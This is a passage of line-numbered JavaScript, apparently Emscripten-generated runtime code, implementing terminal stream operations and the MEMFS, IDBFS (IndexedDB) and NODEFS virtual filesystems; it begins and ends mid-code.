  1817. if (!stream.tty || !stream.tty.ops.get_char) {
  1818. throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1819. }
  1820. var bytesRead = 0;
  1821. for (var i = 0; i < length; i++) {
  1822. var result;
  1823. try {
  1824. result = stream.tty.ops.get_char(stream.tty)
  1825. } catch (e) {
  1826. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1827. }
  1828. if (result === undefined && bytesRead === 0) {
  1829. throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  1830. }
  1831. if (result === null || result === undefined) break;
  1832. bytesRead++;
  1833. buffer[offset + i] = result
  1834. }
  1835. if (bytesRead) {
  1836. stream.node.timestamp = Date.now()
  1837. }
  1838. return bytesRead
  1839. }),
  1840. write: (function(stream, buffer, offset, length, pos) {
  1841. if (!stream.tty || !stream.tty.ops.put_char) {
  1842. throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1843. }
  1844. for (var i = 0; i < length; i++) {
  1845. try {
  1846. stream.tty.ops.put_char(stream.tty, buffer[offset + i])
  1847. } catch (e) {
  1848. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1849. }
  1850. }
  1851. if (length) {
  1852. stream.node.timestamp = Date.now()
  1853. }
  1854. return i
  1855. })
  1856. },
  1857. default_tty_ops: {
  1858. get_char: (function(tty) {
  1859. if (!tty.input.length) {
  1860. var result = null;
  1861. if (ENVIRONMENT_IS_NODE) {
  1862. var BUFSIZE = 256;
  1863. var buf = new Buffer(BUFSIZE);
  1864. var bytesRead = 0;
  1865. var isPosixPlatform = process.platform != "win32";
  1866. var fd = process.stdin.fd;
  1867. if (isPosixPlatform) {
  1868. var usingDevice = false;
  1869. try {
  1870. fd = fs.openSync("/dev/stdin", "r");
  1871. usingDevice = true
  1872. } catch (e) {}
  1873. }
  1874. try {
  1875. bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null)
  1876. } catch (e) {
  1877. if (e.toString().indexOf("EOF") != -1) bytesRead = 0;
  1878. else throw e
  1879. }
  1880. if (usingDevice) {
  1881. fs.closeSync(fd)
  1882. }
  1883. if (bytesRead > 0) {
  1884. result = buf.slice(0, bytesRead).toString("utf-8")
  1885. } else {
  1886. result = null
  1887. }
  1888. } else if (typeof window != "undefined" && typeof window.prompt == "function") {
  1889. result = window.prompt("Input: ");
  1890. if (result !== null) {
  1891. result += "\n"
  1892. }
  1893. } else if (typeof readline == "function") {
  1894. result = readline();
  1895. if (result !== null) {
  1896. result += "\n"
  1897. }
  1898. }
  1899. if (!result) {
  1900. return null
  1901. }
  1902. tty.input = intArrayFromString(result, true)
  1903. }
  1904. return tty.input.shift()
  1905. }),
  1906. put_char: (function(tty, val) {
  1907. if (val === null || val === 10) {
  1908. Module["print"](UTF8ArrayToString(tty.output, 0));
  1909. tty.output = []
  1910. } else {
  1911. if (val != 0) tty.output.push(val)
  1912. }
  1913. }),
  1914. flush: (function(tty) {
  1915. if (tty.output && tty.output.length > 0) {
  1916. Module["print"](UTF8ArrayToString(tty.output, 0));
  1917. tty.output = []
  1918. }
  1919. })
  1920. },
  1921. default_tty1_ops: {
  1922. put_char: (function(tty, val) {
  1923. if (val === null || val === 10) {
  1924. Module["printErr"](UTF8ArrayToString(tty.output, 0));
  1925. tty.output = []
  1926. } else {
  1927. if (val != 0) tty.output.push(val)
  1928. }
  1929. }),
  1930. flush: (function(tty) {
  1931. if (tty.output && tty.output.length > 0) {
  1932. Module["printErr"](UTF8ArrayToString(tty.output, 0));
  1933. tty.output = []
  1934. }
  1935. })
  1936. }
  1937. };
  1938. var MEMFS = {
  1939. ops_table: null,
  1940. mount: (function(mount) {
  1941. return MEMFS.createNode(null, "/", 16384 | 511, 0)
  1942. }),
  1943. createNode: (function(parent, name, mode, dev) {
  1944. if (FS.isBlkdev(mode) || FS.isFIFO(mode)) {
  1945. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  1946. }
  1947. if (!MEMFS.ops_table) {
  1948. MEMFS.ops_table = {
  1949. dir: {
  1950. node: {
  1951. getattr: MEMFS.node_ops.getattr,
  1952. setattr: MEMFS.node_ops.setattr,
  1953. lookup: MEMFS.node_ops.lookup,
  1954. mknod: MEMFS.node_ops.mknod,
  1955. rename: MEMFS.node_ops.rename,
  1956. unlink: MEMFS.node_ops.unlink,
  1957. rmdir: MEMFS.node_ops.rmdir,
  1958. readdir: MEMFS.node_ops.readdir,
  1959. symlink: MEMFS.node_ops.symlink
  1960. },
  1961. stream: {
  1962. llseek: MEMFS.stream_ops.llseek
  1963. }
  1964. },
  1965. file: {
  1966. node: {
  1967. getattr: MEMFS.node_ops.getattr,
  1968. setattr: MEMFS.node_ops.setattr
  1969. },
  1970. stream: {
  1971. llseek: MEMFS.stream_ops.llseek,
  1972. read: MEMFS.stream_ops.read,
  1973. write: MEMFS.stream_ops.write,
  1974. allocate: MEMFS.stream_ops.allocate,
  1975. mmap: MEMFS.stream_ops.mmap,
  1976. msync: MEMFS.stream_ops.msync
  1977. }
  1978. },
  1979. link: {
  1980. node: {
  1981. getattr: MEMFS.node_ops.getattr,
  1982. setattr: MEMFS.node_ops.setattr,
  1983. readlink: MEMFS.node_ops.readlink
  1984. },
  1985. stream: {}
  1986. },
  1987. chrdev: {
  1988. node: {
  1989. getattr: MEMFS.node_ops.getattr,
  1990. setattr: MEMFS.node_ops.setattr
  1991. },
  1992. stream: FS.chrdev_stream_ops
  1993. }
  1994. }
  1995. }
  1996. var node = FS.createNode(parent, name, mode, dev);
  1997. if (FS.isDir(node.mode)) {
  1998. node.node_ops = MEMFS.ops_table.dir.node;
  1999. node.stream_ops = MEMFS.ops_table.dir.stream;
  2000. node.contents = {}
  2001. } else if (FS.isFile(node.mode)) {
  2002. node.node_ops = MEMFS.ops_table.file.node;
  2003. node.stream_ops = MEMFS.ops_table.file.stream;
  2004. node.usedBytes = 0;
  2005. node.contents = null
  2006. } else if (FS.isLink(node.mode)) {
  2007. node.node_ops = MEMFS.ops_table.link.node;
  2008. node.stream_ops = MEMFS.ops_table.link.stream
  2009. } else if (FS.isChrdev(node.mode)) {
  2010. node.node_ops = MEMFS.ops_table.chrdev.node;
  2011. node.stream_ops = MEMFS.ops_table.chrdev.stream
  2012. }
  2013. node.timestamp = Date.now();
  2014. if (parent) {
  2015. parent.contents[name] = node
  2016. }
  2017. return node
  2018. }),
  2019. getFileDataAsRegularArray: (function(node) {
  2020. if (node.contents && node.contents.subarray) {
  2021. var arr = [];
  2022. for (var i = 0; i < node.usedBytes; ++i) arr.push(node.contents[i]);
  2023. return arr
  2024. }
  2025. return node.contents
  2026. }),
  2027. getFileDataAsTypedArray: (function(node) {
  2028. if (!node.contents) return new Uint8Array;
  2029. if (node.contents.subarray) return node.contents.subarray(0, node.usedBytes);
  2030. return new Uint8Array(node.contents)
  2031. }),
  2032. expandFileStorage: (function(node, newCapacity) {
  2033. if (node.contents && node.contents.subarray && newCapacity > node.contents.length) {
  2034. node.contents = MEMFS.getFileDataAsRegularArray(node);
  2035. node.usedBytes = node.contents.length
  2036. }
  2037. if (!node.contents || node.contents.subarray) {
  2038. var prevCapacity = node.contents ? node.contents.length : 0;
  2039. if (prevCapacity >= newCapacity) return;
  2040. var CAPACITY_DOUBLING_MAX = 1024 * 1024;
  2041. newCapacity = Math.max(newCapacity, prevCapacity * (prevCapacity < CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0);
  2042. if (prevCapacity != 0) newCapacity = Math.max(newCapacity, 256);
  2043. var oldContents = node.contents;
  2044. node.contents = new Uint8Array(newCapacity);
  2045. if (node.usedBytes > 0) node.contents.set(oldContents.subarray(0, node.usedBytes), 0);
  2046. return
  2047. }
  2048. if (!node.contents && newCapacity > 0) node.contents = [];
  2049. while (node.contents.length < newCapacity) node.contents.push(0)
  2050. }),
  2051. resizeFileStorage: (function(node, newSize) {
  2052. if (node.usedBytes == newSize) return;
  2053. if (newSize == 0) {
  2054. node.contents = null;
  2055. node.usedBytes = 0;
  2056. return
  2057. }
  2058. if (!node.contents || node.contents.subarray) {
  2059. var oldContents = node.contents;
  2060. node.contents = new Uint8Array(new ArrayBuffer(newSize));
  2061. if (oldContents) {
  2062. node.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes)))
  2063. }
  2064. node.usedBytes = newSize;
  2065. return
  2066. }
  2067. if (!node.contents) node.contents = [];
  2068. if (node.contents.length > newSize) node.contents.length = newSize;
  2069. else
  2070. while (node.contents.length < newSize) node.contents.push(0);
  2071. node.usedBytes = newSize
  2072. }),
  2073. node_ops: {
  2074. getattr: (function(node) {
  2075. var attr = {};
  2076. attr.dev = FS.isChrdev(node.mode) ? node.id : 1;
  2077. attr.ino = node.id;
  2078. attr.mode = node.mode;
  2079. attr.nlink = 1;
  2080. attr.uid = 0;
  2081. attr.gid = 0;
  2082. attr.rdev = node.rdev;
  2083. if (FS.isDir(node.mode)) {
  2084. attr.size = 4096
  2085. } else if (FS.isFile(node.mode)) {
  2086. attr.size = node.usedBytes
  2087. } else if (FS.isLink(node.mode)) {
  2088. attr.size = node.link.length
  2089. } else {
  2090. attr.size = 0
  2091. }
  2092. attr.atime = new Date(node.timestamp);
  2093. attr.mtime = new Date(node.timestamp);
  2094. attr.ctime = new Date(node.timestamp);
  2095. attr.blksize = 4096;
  2096. attr.blocks = Math.ceil(attr.size / attr.blksize);
  2097. return attr
  2098. }),
  2099. setattr: (function(node, attr) {
  2100. if (attr.mode !== undefined) {
  2101. node.mode = attr.mode
  2102. }
  2103. if (attr.timestamp !== undefined) {
  2104. node.timestamp = attr.timestamp
  2105. }
  2106. if (attr.size !== undefined) {
  2107. MEMFS.resizeFileStorage(node, attr.size)
  2108. }
  2109. }),
  2110. lookup: (function(parent, name) {
  2111. throw FS.genericErrors[ERRNO_CODES.ENOENT]
  2112. }),
  2113. mknod: (function(parent, name, mode, dev) {
  2114. return MEMFS.createNode(parent, name, mode, dev)
  2115. }),
  2116. rename: (function(old_node, new_dir, new_name) {
  2117. if (FS.isDir(old_node.mode)) {
  2118. var new_node;
  2119. try {
  2120. new_node = FS.lookupNode(new_dir, new_name)
  2121. } catch (e) {}
  2122. if (new_node) {
  2123. for (var i in new_node.contents) {
  2124. throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2125. }
  2126. }
  2127. }
  2128. delete old_node.parent.contents[old_node.name];
  2129. old_node.name = new_name;
  2130. new_dir.contents[new_name] = old_node;
  2131. old_node.parent = new_dir
  2132. }),
  2133. unlink: (function(parent, name) {
  2134. delete parent.contents[name]
  2135. }),
  2136. rmdir: (function(parent, name) {
  2137. var node = FS.lookupNode(parent, name);
  2138. for (var i in node.contents) {
  2139. throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2140. }
  2141. delete parent.contents[name]
  2142. }),
  2143. readdir: (function(node) {
  2144. var entries = [".", ".."];
  2145. for (var key in node.contents) {
  2146. if (!node.contents.hasOwnProperty(key)) {
  2147. continue
  2148. }
  2149. entries.push(key)
  2150. }
  2151. return entries
  2152. }),
  2153. symlink: (function(parent, newname, oldpath) {
  2154. var node = MEMFS.createNode(parent, newname, 511 | 40960, 0);
  2155. node.link = oldpath;
  2156. return node
  2157. }),
  2158. readlink: (function(node) {
  2159. if (!FS.isLink(node.mode)) {
  2160. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2161. }
  2162. return node.link
  2163. })
  2164. },
  2165. stream_ops: {
  2166. read: (function(stream, buffer, offset, length, position) {
  2167. var contents = stream.node.contents;
  2168. if (position >= stream.node.usedBytes) return 0;
  2169. var size = Math.min(stream.node.usedBytes - position, length);
  2170. assert(size >= 0);
  2171. if (size > 8 && contents.subarray) {
  2172. buffer.set(contents.subarray(position, position + size), offset)
  2173. } else {
  2174. for (var i = 0; i < size; i++) buffer[offset + i] = contents[position + i]
  2175. }
  2176. return size
  2177. }),
  2178. write: (function(stream, buffer, offset, length, position, canOwn) {
  2179. if (!length) return 0;
  2180. var node = stream.node;
  2181. node.timestamp = Date.now();
  2182. if (buffer.subarray && (!node.contents || node.contents.subarray)) {
  2183. if (canOwn) {
  2184. node.contents = buffer.subarray(offset, offset + length);
  2185. node.usedBytes = length;
  2186. return length
  2187. } else if (node.usedBytes === 0 && position === 0) {
  2188. node.contents = new Uint8Array(buffer.subarray(offset, offset + length));
  2189. node.usedBytes = length;
  2190. return length
  2191. } else if (position + length <= node.usedBytes) {
  2192. node.contents.set(buffer.subarray(offset, offset + length), position);
  2193. return length
  2194. }
  2195. }
  2196. MEMFS.expandFileStorage(node, position + length);
  2197. if (node.contents.subarray && buffer.subarray) node.contents.set(buffer.subarray(offset, offset + length), position);
  2198. else {
  2199. for (var i = 0; i < length; i++) {
  2200. node.contents[position + i] = buffer[offset + i]
  2201. }
  2202. }
  2203. node.usedBytes = Math.max(node.usedBytes, position + length);
  2204. return length
  2205. }),
  2206. llseek: (function(stream, offset, whence) {
  2207. var position = offset;
  2208. if (whence === 1) {
  2209. position += stream.position
  2210. } else if (whence === 2) {
  2211. if (FS.isFile(stream.node.mode)) {
  2212. position += stream.node.usedBytes
  2213. }
  2214. }
  2215. if (position < 0) {
  2216. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2217. }
  2218. return position
  2219. }),
  2220. allocate: (function(stream, offset, length) {
  2221. MEMFS.expandFileStorage(stream.node, offset + length);
  2222. stream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length)
  2223. }),
  2224. mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  2225. if (!FS.isFile(stream.node.mode)) {
  2226. throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2227. }
  2228. var ptr;
  2229. var allocated;
  2230. var contents = stream.node.contents;
  2231. if (!(flags & 2) && (contents.buffer === buffer || contents.buffer === buffer.buffer)) {
  2232. allocated = false;
  2233. ptr = contents.byteOffset
  2234. } else {
  2235. if (position > 0 || position + length < stream.node.usedBytes) {
  2236. if (contents.subarray) {
  2237. contents = contents.subarray(position, position + length)
  2238. } else {
  2239. contents = Array.prototype.slice.call(contents, position, position + length)
  2240. }
  2241. }
  2242. allocated = true;
  2243. ptr = _malloc(length);
  2244. if (!ptr) {
  2245. throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)
  2246. }
  2247. buffer.set(contents, ptr)
  2248. }
  2249. return {
  2250. ptr: ptr,
  2251. allocated: allocated
  2252. }
  2253. }),
  2254. msync: (function(stream, buffer, offset, length, mmapFlags) {
  2255. if (!FS.isFile(stream.node.mode)) {
  2256. throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2257. }
  2258. if (mmapFlags & 2) {
  2259. return 0
  2260. }
  2261. var bytesWritten = MEMFS.stream_ops.write(stream, buffer, 0, length, offset, false);
  2262. return 0
  2263. })
  2264. }
  2265. };
  2266. var IDBFS = {
  2267. dbs: {},
  2268. indexedDB: (function() {
  2269. if (typeof indexedDB !== "undefined") return indexedDB;
  2270. var ret = null;
  2271. if (typeof window === "object") ret = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
  2272. assert(ret, "IDBFS used, but indexedDB not supported");
  2273. return ret
  2274. }),
  2275. DB_VERSION: 21,
  2276. DB_STORE_NAME: "FILE_DATA",
  2277. mount: (function(mount) {
  2278. return MEMFS.mount.apply(null, arguments)
  2279. }),
  2280. syncfs: (function(mount, populate, callback) {
  2281. IDBFS.getLocalSet(mount, (function(err, local) {
  2282. if (err) return callback(err);
  2283. IDBFS.getRemoteSet(mount, (function(err, remote) {
  2284. if (err) return callback(err);
  2285. var src = populate ? remote : local;
  2286. var dst = populate ? local : remote;
  2287. IDBFS.reconcile(src, dst, callback)
  2288. }))
  2289. }))
  2290. }),
  2291. getDB: (function(name, callback) {
  2292. var db = IDBFS.dbs[name];
  2293. if (db) {
  2294. return callback(null, db)
  2295. }
  2296. var req;
  2297. try {
  2298. req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION)
  2299. } catch (e) {
  2300. return callback(e)
  2301. }
  2302. if (!req) {
  2303. return callback("Unable to connect to IndexedDB")
  2304. }
  2305. req.onupgradeneeded = (function(e) {
  2306. var db = e.target.result;
  2307. var transaction = e.target.transaction;
  2308. var fileStore;
  2309. if (db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) {
  2310. fileStore = transaction.objectStore(IDBFS.DB_STORE_NAME)
  2311. } else {
  2312. fileStore = db.createObjectStore(IDBFS.DB_STORE_NAME)
  2313. }
  2314. if (!fileStore.indexNames.contains("timestamp")) {
  2315. fileStore.createIndex("timestamp", "timestamp", {
  2316. unique: false
  2317. })
  2318. }
  2319. });
  2320. req.onsuccess = (function() {
  2321. db = req.result;
  2322. IDBFS.dbs[name] = db;
  2323. callback(null, db)
  2324. });
  2325. req.onerror = (function(e) {
  2326. callback(this.error);
  2327. e.preventDefault()
  2328. })
  2329. }),
  2330. getLocalSet: (function(mount, callback) {
  2331. var entries = {};
  2332.  
  2333. function isRealDir(p) {
  2334. return p !== "." && p !== ".."
  2335. }
  2336.  
  2337. function toAbsolute(root) {
  2338. return (function(p) {
  2339. return PATH.join2(root, p)
  2340. })
  2341. }
  2342. var check = FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));
  2343. while (check.length) {
  2344. var path = check.pop();
  2345. var stat;
  2346. try {
  2347. stat = FS.stat(path)
  2348. } catch (e) {
  2349. return callback(e)
  2350. }
  2351. if (FS.isDir(stat.mode)) {
  2352. check.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))
  2353. }
  2354. entries[path] = {
  2355. timestamp: stat.mtime
  2356. }
  2357. }
  2358. return callback(null, {
  2359. type: "local",
  2360. entries: entries
  2361. })
  2362. }),
  2363. getRemoteSet: (function(mount, callback) {
  2364. var entries = {};
  2365. IDBFS.getDB(mount.mountpoint, (function(err, db) {
  2366. if (err) return callback(err);
  2367. var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readonly");
  2368. transaction.onerror = (function(e) {
  2369. callback(this.error);
  2370. e.preventDefault()
  2371. });
  2372. var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2373. var index = store.index("timestamp");
  2374. index.openKeyCursor().onsuccess = (function(event) {
  2375. var cursor = event.target.result;
  2376. if (!cursor) {
  2377. return callback(null, {
  2378. type: "remote",
  2379. db: db,
  2380. entries: entries
  2381. })
  2382. }
  2383. entries[cursor.primaryKey] = {
  2384. timestamp: cursor.key
  2385. };
  2386. cursor.continue()
  2387. })
  2388. }))
  2389. }),
  2390. loadLocalEntry: (function(path, callback) {
  2391. var stat, node;
  2392. try {
  2393. var lookup = FS.lookupPath(path);
  2394. node = lookup.node;
  2395. stat = FS.stat(path)
  2396. } catch (e) {
  2397. return callback(e)
  2398. }
  2399. if (FS.isDir(stat.mode)) {
  2400. return callback(null, {
  2401. timestamp: stat.mtime,
  2402. mode: stat.mode
  2403. })
  2404. } else if (FS.isFile(stat.mode)) {
  2405. node.contents = MEMFS.getFileDataAsTypedArray(node);
  2406. return callback(null, {
  2407. timestamp: stat.mtime,
  2408. mode: stat.mode,
  2409. contents: node.contents
  2410. })
  2411. } else {
  2412. return callback(new Error("node type not supported"))
  2413. }
  2414. }),
  2415. storeLocalEntry: (function(path, entry, callback) {
  2416. try {
  2417. if (FS.isDir(entry.mode)) {
  2418. FS.mkdir(path, entry.mode)
  2419. } else if (FS.isFile(entry.mode)) {
  2420. FS.writeFile(path, entry.contents, {
  2421. encoding: "binary",
  2422. canOwn: true
  2423. })
  2424. } else {
  2425. return callback(new Error("node type not supported"))
  2426. }
  2427. FS.chmod(path, entry.mode);
  2428. FS.utime(path, entry.timestamp, entry.timestamp)
  2429. } catch (e) {
  2430. return callback(e)
  2431. }
  2432. callback(null)
  2433. }),
  2434. removeLocalEntry: (function(path, callback) {
  2435. try {
  2436. var lookup = FS.lookupPath(path);
  2437. var stat = FS.stat(path);
  2438. if (FS.isDir(stat.mode)) {
  2439. FS.rmdir(path)
  2440. } else if (FS.isFile(stat.mode)) {
  2441. FS.unlink(path)
  2442. }
  2443. } catch (e) {
  2444. return callback(e)
  2445. }
  2446. callback(null)
  2447. }),
  2448. loadRemoteEntry: (function(store, path, callback) {
  2449. var req = store.get(path);
  2450. req.onsuccess = (function(event) {
  2451. callback(null, event.target.result)
  2452. });
  2453. req.onerror = (function(e) {
  2454. callback(this.error);
  2455. e.preventDefault()
  2456. })
  2457. }),
  2458. storeRemoteEntry: (function(store, path, entry, callback) {
  2459. var req = store.put(entry, path);
  2460. req.onsuccess = (function() {
  2461. callback(null)
  2462. });
  2463. req.onerror = (function(e) {
  2464. callback(this.error);
  2465. e.preventDefault()
  2466. })
  2467. }),
  2468. removeRemoteEntry: (function(store, path, callback) {
  2469. var req = store.delete(path);
  2470. req.onsuccess = (function() {
  2471. callback(null)
  2472. });
  2473. req.onerror = (function(e) {
  2474. callback(this.error);
  2475. e.preventDefault()
  2476. })
  2477. }),
  2478. reconcile: (function(src, dst, callback) {
  2479. var total = 0;
  2480. var create = [];
  2481. Object.keys(src.entries).forEach((function(key) {
  2482. var e = src.entries[key];
  2483. var e2 = dst.entries[key];
  2484. if (!e2 || e.timestamp > e2.timestamp) {
  2485. create.push(key);
  2486. total++
  2487. }
  2488. }));
  2489. var remove = [];
  2490. Object.keys(dst.entries).forEach((function(key) {
  2491. var e = dst.entries[key];
  2492. var e2 = src.entries[key];
  2493. if (!e2) {
  2494. remove.push(key);
  2495. total++
  2496. }
  2497. }));
  2498. if (!total) {
  2499. return callback(null)
  2500. }
  2501. var completed = 0;
  2502. var db = src.type === "remote" ? src.db : dst.db;
  2503. var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readwrite");
  2504. var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2505.  
  2506. function done(err) {
  2507. if (err) {
  2508. if (!done.errored) {
  2509. done.errored = true;
  2510. return callback(err)
  2511. }
  2512. return
  2513. }
  2514. if (++completed >= total) {
  2515. return callback(null)
  2516. }
  2517. }
  2518. transaction.onerror = (function(e) {
  2519. done(this.error);
  2520. e.preventDefault()
  2521. });
  2522. create.sort().forEach((function(path) {
  2523. if (dst.type === "local") {
  2524. IDBFS.loadRemoteEntry(store, path, (function(err, entry) {
  2525. if (err) return done(err);
  2526. IDBFS.storeLocalEntry(path, entry, done)
  2527. }))
  2528. } else {
  2529. IDBFS.loadLocalEntry(path, (function(err, entry) {
  2530. if (err) return done(err);
  2531. IDBFS.storeRemoteEntry(store, path, entry, done)
  2532. }))
  2533. }
  2534. }));
  2535. remove.sort().reverse().forEach((function(path) {
  2536. if (dst.type === "local") {
  2537. IDBFS.removeLocalEntry(path, done)
  2538. } else {
  2539. IDBFS.removeRemoteEntry(store, path, done)
  2540. }
  2541. }))
  2542. })
  2543. };
  2544. var NODEFS = {
  2545. isWindows: false,
  2546. staticInit: (function() {
  2547. NODEFS.isWindows = !!process.platform.match(/^win/)
  2548. }),
  2549. mount: (function(mount) {
  2550. assert(ENVIRONMENT_IS_NODE);
  2551. return NODEFS.createNode(null, "/", NODEFS.getMode(mount.opts.root), 0)
  2552. }),
  2553. createNode: (function(parent, name, mode, dev) {
  2554. if (!FS.isDir(mode) && !FS.isFile(mode) && !FS.isLink(mode)) {
  2555. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2556. }
  2557. var node = FS.createNode(parent, name, mode);
  2558. node.node_ops = NODEFS.node_ops;
  2559. node.stream_ops = NODEFS.stream_ops;
  2560. return node
  2561. }),
  2562. getMode: (function(path) {
  2563. var stat;
  2564. try {
  2565. stat = fs.lstatSync(path);
  2566. if (NODEFS.isWindows) {
  2567. stat.mode = stat.mode | (stat.mode & 146) >> 1
  2568. }
  2569. } catch (e) {
  2570. if (!e.code) throw e;
  2571. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2572. }
  2573. return stat.mode
  2574. }),
  2575. realPath: (function(node) {
  2576. var parts = [];
  2577. while (node.parent !== node) {
  2578. parts.push(node.name);
  2579. node = node.parent
  2580. }
  2581. parts.push(node.mount.opts.root);
  2582. parts.reverse();
  2583. return PATH.join.apply(null, parts)
  2584. }),
  2585. flagsToPermissionStringMap: {
  2586. 0: "r",
  2587. 1: "r+",
  2588. 2: "r+",
  2589. 64: "r",
  2590. 65: "r+",
  2591. 66: "r+",
  2592. 129: "rx+",
  2593. 193: "rx+",
  2594. 514: "w+",
  2595. 577: "w",
  2596. 578: "w+",
  2597. 705: "wx",
  2598. 706: "wx+",
  2599. 1024: "a",
  2600. 1025: "a",
  2601. 1026: "a+",
  2602. 1089: "a",
  2603. 1090: "a+",
  2604. 1153: "ax",
  2605. 1154: "ax+",
  2606. 1217: "ax",
  2607. 1218: "ax+",
  2608. 4096: "rs",
  2609. 4098: "rs+"
  2610. },
  2611. flagsToPermissionString: (function(flags) {
  2612. flags &= ~2097152;
  2613. flags &= ~2048;
  2614. flags &= ~32768;
  2615. flags &= ~524288;
  2616. if (flags in NODEFS.flagsToPermissionStringMap) {
  2617. return NODEFS.flagsToPermissionStringMap[flags]
  2618. } else {
  2619. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2620. }
  2621. }),
  2622. node_ops: {
  2623. getattr: (function(node) {
  2624. var path = NODEFS.realPath(node);
  2625. var stat;
  2626. try {
  2627. stat = fs.lstatSync(path)
  2628. } catch (e) {
  2629. if (!e.code) throw e;
  2630. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2631. }
  2632. if (NODEFS.isWindows && !stat.blksize) {
  2633. stat.blksize = 4096
  2634. }
  2635. if (NODEFS.isWindows && !stat.blocks) {
  2636. stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0
  2637. }
  2638. return {
  2639. dev: stat.dev,
  2640. ino: stat.ino,
  2641. mode: stat.mode,
  2642. nlink: stat.nlink,
  2643. uid: stat.uid,
  2644. gid: stat.gid,
  2645. rdev: stat.rdev,
  2646. size: stat.size,
  2647. atime: stat.atime,
  2648. mtime: stat.mtime,
  2649. ctime: stat.ctime,
  2650. blksize: stat.blksize,
  2651. blocks: stat.blocks
  2652. }
  2653. }),
  2654. setattr: (function(node, attr) {
  2655. var path = NODEFS.realPath(node);
  2656. try {
  2657. if (attr.mode !== undefined) {
  2658. fs.chmodSync(path, attr.mode);
  2659. node.mode = attr.mode
  2660. }
  2661. if (attr.timestamp !== undefined) {
  2662. var date = new Date(attr.timestamp);
  2663. fs.utimesSync(path, date, date)
  2664. }
  2665. if (attr.size !== undefined) {
  2666. fs.truncateSync(path, attr.size)
  2667. }
  2668. } catch (e) {
  2669. if (!e.code) throw e;
  2670. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2671. }
  2672. }),
  2673. lookup: (function(parent, name) {
  2674. var path = PATH.join2(NODEFS.realPath(parent), name);
  2675. var mode = NODEFS.getMode(path);
  2676. return NODEFS.createNode(parent, name, mode)
  2677. }),
  2678. mknod: (function(parent, name, mode, dev) {
  2679. var node = NODEFS.createNode(parent, name, mode, dev);
  2680. var path = NODEFS.realPath(node);
  2681. try {
  2682. if (FS.isDir(node.mode)) {
  2683. fs.mkdirSync(path, node.mode)
  2684. } else {
  2685. fs.writeFileSync(path, "", {
  2686. mode: node.mode
  2687. })
  2688. }
  2689. } catch (e) {
  2690. if (!e.code) throw e;
  2691. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2692. }
  2693. return node
  2694. }),
  2695. rename: (function(oldNode, newDir, newName) {
  2696. var oldPath = NODEFS.realPath(oldNode);
  2697. var newPath = PATH.join2(NODEFS.realPath(newDir), newName);
  2698. try {
  2699. fs.renameSync(oldPath, newPath)
  2700. } catch (e) {
  2701. if (!e.code) throw e;
  2702. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2703. }
  2704. }),
  2705. unlink: (function(parent, name) {
  2706. var path = PATH.join2(NODEFS.realPath(parent), name);
  2707. try {
  2708. fs.unlinkSync(path)
  2709. } catch (e) {
  2710. if (!e.code) throw e;
  2711. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2712. }
  2713. }),
  2714. rmdir: (function(parent, name) {
  2715. var path = PATH.join2(NODEFS.realPath(parent), name);
  2716. try {
  2717. fs.rmdirSync(path)
  2718. } catch (e) {
  2719. if (!e.code) throw e;
  2720. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2721. }
  2722. }),
  2723. readdir: (function(node) {
  2724. var path = NODEFS.realPath(node);
  2725. try {
  2726. return fs.readdirSync(path)
  2727. } catch (e) {
  2728. if (!e.code) throw e;
  2729. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2730. }
  2731. }),
  2732. symlink: (function(parent, newName, oldPath) {
  2733. var newPath = PATH.join2(NODEFS.realPath(parent), newName);
  2734. try {
  2735. fs.symlinkSync(oldPath, newPath)
  2736. } catch (e) {
  2737. if (!e.code) throw e;
  2738. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2739. }
  2740. }),
  2741. readlink: (function(node) {
  2742. var path = NODEFS.realPath(node);
  2743. try {
  2744. path = fs.readlinkSync(path);
  2745. path = NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path);
  2746. return path
  2747. } catch (e) {
  2748. if (!e.code) throw e;
  2749. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2750. }
  2751. })
  2752. },
  2753. stream_ops: {
  2754. open: (function(stream) {
  2755. var path = NODEFS.realPath(stream.node);
  2756. try {
  2757. if (FS.isFile(stream.node.mode)) {
  2758. stream.nfd = fs.openSync(path, NODEFS.flagsToPermissionString(stream.flags))
  2759. }
  2760. } catch (e) {
  2761. if (!e.code) throw e;
  2762. throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2763. }
  2764. }),
  2765. close: (function(stream) {
  2766. try {
